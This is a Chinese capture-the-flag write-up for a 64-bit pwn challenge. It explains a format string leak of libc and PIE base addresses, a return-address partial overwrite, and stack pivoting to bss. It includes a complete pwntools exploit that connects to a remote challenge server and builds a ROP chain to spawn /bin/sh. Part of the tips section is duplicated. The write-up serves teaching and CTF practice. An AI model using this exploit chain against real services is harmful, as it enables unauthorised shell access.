栈的小复习:
这一次以一道简洁的栈题来回顾一下前面栈的知识与应用:
格式化字符串与栈迁移:
首先看一下题目的保护:
除了canary都开了,其实对我们后面栈溢出时的操作是比较友好的。
静态分析:
然后我们进入IDA看一下反编译的伪代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_7DA(a1, a2, a3);
sub_83B();
return 0LL;
}
main函数非常简单,只有两个函数,第一个函数是用来创建输入和输出空间的。所以我们主要看第二个函数:
int sub_83B()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts(">>>");
read(0, buf, 0x60uLL);
return printf(buf);
}
也非常简单,一个栈溢出和一个格式化字符串漏洞。
思路整理:
- 这题没有判定点,所以这个格式化字符串应该是用来泄露某些地址的
- 由于这道题里面的栈溢出只有0x10个字节并且开了堆栈不可执行,所以需要栈迁移到bss段上面去。
确定需要泄露的位置:
先进入gdb看一下栈里面内容:
可以看见参数被放进栈中的第一个位置,但是这道题我们需要进行ROP,所以我们要先进行libc基址的泄露。观察可以看见rbp指针下面有一个__libc_start_main+240,这个其实是libc中的 _libc_start_main 这个函数地址加了240的偏移,所以我们可以通过"%19$p"泄露这个地址来泄露libc的基址。
这里提一下怎么找格式化字符所在的位数,由于这是一个64位的程序,所以前六个参数不是在栈上的,那么我们在栈上数个数的时候是从6开始数的,所以这里__libc_star_main就是在第19个参数的位置上。
然后就是对于程序运行基址的泄露。由于这道题是开了PIE的,所以我们需要对运行基址进行泄露,由于PIE技术的缺陷,程序地址的末三位是不变的,所以我们可以将__libc_start_main+240的上一个地址,也就是:0x5555555548a0泄露出来然后减去8a0的末三位地址偏移就可以得到本次程序运行的基址了。
构造ROP链:
在前面观察静态反编译的程序可以知道这个程序的输入操作是只执行一次的,所以我们要截断程序的结束操作让我们的ROP链能正常进行。但最开始在不知道程序基址的情况下我们只能通过篡改原程序返回地址方式的方式来控制程序的执行流。
我们知道程序运行地址的末三位是不变的,结合IDA中的反汇编代码,我们可以观察到main函数和sub_83B()这个函数只有末两位是不一样的,那么我们就可以通过修改程序返回地址的末两位来让程序在执行一遍sub_83B()。这样我们就可以多次输入并形成完整的ROP链了。
栈迁移:
这里还是再提一下栈迁移这个技巧。简单来说,栈迁移就是连续调用两次 leave_ret 指令来控制 rbp,使其变为我们需要构造 fake_stack的地址(比如bss段)。
第一次调用leave_ret是栈帧本身的leave_ret,第二次调用leave_ret是在ROP链当中,这一点结合后面的exp很容易就能理解了
exp:
from pwn import *
from LibcSearcher import *
context_level = 'debug'
io = remote("47.108.155.185", 9129)
#io = process("./ezformat")
elf = ELF("./ezformat")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
payload1 = b'%19$p%18$p'
payload1 = payload1.ljust(0x58, b'a') + p8(0x91) #这里返回0x91是为了清空子函数的栈空间
io.recvuntil(">>>\n")
io.send(payload1)
io.recvuntil("0x")
libc_start = int(io.recv(12), base = 16) - 240
#libc_base = int(io.recv(12), base = 16) - 240 -libc.symbols['__libc_start_main']
print(hex(libc_start))
'''
sys_addr = libc_base + libc.symbols['system']
sh_addr = libc_base + libc.search(b"/bin/sh").__next__()
'''
libc = LibcSearcher('__libc_start_main', libc_start)
base = libc_start - libc.dump("__libc_start_main")
sys_addr = base+libc.dump("system")
sh_addr = base+libc.dump("str_bin_sh")
io.recvuntil("0x")
process_base = int(io.recv(12), base = 16) - 0x8a0
print(hex(process_base))
bss = elf.bss() + 0x300 + process_base
rdi_addr = process_base + 0x903
leave_ret = process_base + 0x87c
payload2 = p64(rdi_addr) + p64(sh_addr) + p64(sys_addr)
payload2 = payload2.ljust(0x50, b'a') + p64(bss - 0x58) + p64(leave_ret)
payload3 = b'a'*0x50 + p64(bss) + p64(process_base + 0x843)
io.recvuntil(">>>\n")
io.send(payload3)
io.recvuntil(">>>\n")
io.send(payload2)
io.interactive()
tips:
因为有段时间没做栈题了,所以有些操作的细节都忘了,这里记录一下这次遇到的几个操作问题:
-
首先是这个格式化字符串泄露出来的地址是14位的,因为$p泄露出来的地址有“0x”这两个字符。
-
__libc_start_main这个也是libc里面的函数,也是可以用来泄露libc基址的
细节都忘了,这里记录一下这次遇到的几个操作问题: -
首先是这个格式化字符串泄露出来的地址是14位的,因为$p泄露出来的地址有“0x”这两个字符。
-
__libc_start_main这个也是libc里面的函数,也是可以用来泄露libc基址的
-
栈迁移的之前要确保栈空间正常,栈里面不能有其他垃圾数据,不然会失败